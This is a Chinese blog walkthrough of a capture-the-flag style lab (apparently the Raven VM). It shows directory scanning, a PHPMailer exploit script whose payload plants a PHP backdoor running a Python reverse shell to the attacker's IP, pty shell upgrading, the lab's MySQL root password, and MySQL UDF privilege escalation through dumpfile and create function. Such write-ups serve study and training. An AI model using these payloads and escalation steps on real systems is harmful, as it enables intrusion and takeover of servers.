渗透练习3

复习知识点

ssh爆破
dirb扫描使用
PHPmaile插件漏洞利用
UDF提权
补充MYSQL知识

-------------------------------------------------------------------------------------------------------

老套路扫端口

ssh肯定可以爆破

用dirb扫描信息

m

发现目录

 vendor目录

进入目录查看

PATH中有一个flag1

查看.md文件

用了PHPmailer插件

找版本

 直接去找EXP

搜索CVE

已经存在,定位 

loacte

复制

 

 编辑脚本

该脚本主要是一句话后门python

target = 'http://localhost:8080'
backdoor = '/backdoor.php'
payload = '<?php system(\'python -c """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\'192.168.0.12\\\',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])"""\'); ?>'
fields={'action': 'submit',
        'name': payload,
        'email': '"anarcoder\\\" -OQueueDirectory=/tmp -X/www/backdoor.php server\" @protonmail.com',
        'message': 'Pwned'}

简单讲一下一句话后门

(1)在任何类型的通信开始之前,网络应用程序都必须创建套接字

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

(2)网络中 ip 地址和 port 端口定义唯一的一个进程,实现不同主机之间的通信

s.connect(('192.168.110.130',2222))


(3)作用:重定向

os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)


dup2(fd1, fd2) :传入两个文件描述符,fd1和fd2(fd1是必须存在的),如果fd2存在,就关闭fd2,然后将fd1代表的那个文件(可以想象成是P_fd1指针)强行复制给fd2,fd2这个文件描述符不会发生变化,但是fd2指向的文件就变成了fd1指向的文件。

fileno() :返回一个整型的文件描述符(file descriptor FD 整型)

注意:文件描述符是 Linux 中独有的,在 Linux 中,一切皆是文件

在linux中系统对于文件的操作是根据文件描述符来决定的,文件描述符是一个比较小的大于等于3的整数,0表示标准输入stdin,1表示标准输出stdout,2表示标准错误输出stderr

说明:当一个应用程序刚刚启动的时候,0是标准输入,1是标准输出,2是标准错误。如果此时去打开一个新的文件,它的文件描述符会是3。POSIX标准要求每次打开文件时(含socket)必须使用当前进程中最小可用的文件描述符号

因此以上命令代表:将socket传回的数据 替换 stdin,stdout,stderr 原本内容(在 攻击机 监听端口时会自动创建一个套接字)。

我的想法是这样:

标准输入:来自于 攻击机 传输的内容
标准输出、标准错误:来自于 目标机 输出的内容。由于 目标机与攻击机 之间的连接,通信,目标机输出内容会被传到 攻击机 显示
(4)subprocess库:允许生成新的进程,连接到它们的 input/output/error 管道,并获取它们的返回(状态)码

p=subprocess.call(['/bin/sh','-i'])


call():执行指定的命令,返回命令执行的状态码

//bash是shell的一种,是linux下最常用的一种shell;传入参数“-i”,使bash以交互模式启动

综合上面,shell 被调用,执行 攻击机 输入的内容,相当于 攻击机 控制了目标机
 

target主要是如果访问那个目录,会在那个目录的子目录中生成一个后门文件backdoor

后门文件的内容为payload  python后门一句话

需要修改的地方有target,backdoor,email

 

python3 40974.py

执行成功,生成

测试成功

先开启监听

发现并没有进行反弹shell成功

因为wangxinyu.php不好使,也不知道为啥

换成生成的名字是shell.php

先访问页面contact,在访问shell.php

反弹成功

 这是一个伪shell

python -c 'import pty;pty.spawn("/bin/bash")'

获得反弹shell

此处总结几个知识点

python中的pty模块就是引入伪终端的

pty 模块定义了一些处理“伪终端”概念的操作:启动另一个进程并能以程序方式在其控制终端中进行读写。

/bin/bash

通俗点讲,#!/bin/bash: 是指此脚本使用/bin/bash来解释执行。其中,#!是一个特殊的表示符,后面紧跟着解释此脚本的shell路径。bash只是shell的一种,还有很多其它shell,比如sh,csh,ksh,tcsh等等。

进入临时文件夹找文件

find / -name flag*

 

查看flag2.txt

还有一个flag3  在html中,所以在网页中查看

对比好访问路径,没有var/www/html

发现使用了wordpress

进入wordpress查看一下文件

注意无论哪一个目录文件,config都是最重要的,先看config

用grep可以快速查找关键字

28行mysql密码

数据库的账号和密码

root

R@v3nSecurity

直接在本地进行登录

mysql -uroot -pR@v3nSecurity

 查看mysql的基本信息

show databases();

select version();

 

比较经典的UDF提权

检查mysql是否是以root权限去运行的

 ps aux | grep mysql

dpkg -l |grep mysql
检查安装过程

查库换库

爆用户表

 发现有加密,无法搞定

尝试UDF提权

查看是否满足写入权限

 show global variables like 'secure%';
 

1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。

查看插件的目录

查看mysql是否可以远程进行登录

发现不能进行远程登陆

只能用UDF进行先搜索EXP

编译的是一个.so的文件

可以看到插件目录中底层都是.so的文件

1518复制到桌面

编译生成.o文件

编译生成.so文件

本地生成完成之后远程传输

开端口

python -m http.server 8081

下载后门

 进入mysql,查表

 

 先创建一个表

create table wangxinyu(line blob);
 

查表

desc wangxinyu;

 把文件写入表中(二进制数据)

insert into wangxinyu values(load_file('/tmp/wangxinyu.so'));

粘贴插不进去,手打能插进去

新建存储函数

补充MYSQL知识

dumpfile与outfile的区别

导出数据库场景下的差异

select …… into outfile

我们先来看一下mysql官方文档里对于这两个函数的解释

其中有两个值得注意的坑点

outfile函数可以导出多行,而dumpfile只能导出一行数据
outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式

我们接下来通过导出测试看看这里面的细节

首先通过命令 select * from test into outfile '/tmp/test.txt' 来使用outfile导出

可以看到文件 /tmp/test.txt 文件中保存了所有的数据并且在一行数据的末尾自动换行

通过查看官方文档,可以看出使用如下参数可以进行格式调整

其中 FIELDS ESCAPED BY 可以用来对指定的字符进行转义, FIELDS [OPTIONALLY] ENCLOSED BY 用来对字段值进行包裹, FIELDS TERMINATED BY 用来对字段值之间进行分割

例如使用如下命令 select * from test into outfile '/tmp/test.txt FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY ' " 'LINES TERMINATED BY '\n'

得到的导出文件如下

select …… into dumpfile

而接着使用命令 select * from test into dumpfile '/tmp/test.txt' 使用dumpfile进行导出

可以看到此命令在执行的时候提示输出超过一行

查看文件内容

可以看见通过dumpfile导出的数据行数据之间并未进行换行且只导出了部分数据

插入到表成功之后从表导出数据

select * from wangxinyu into dumpfile '/usr/lib/mysql/plugin/wangxinyu.so';
 

 创建自定义函数do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:
create function do_system returns integer soname 'wangxinyu.so';


 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值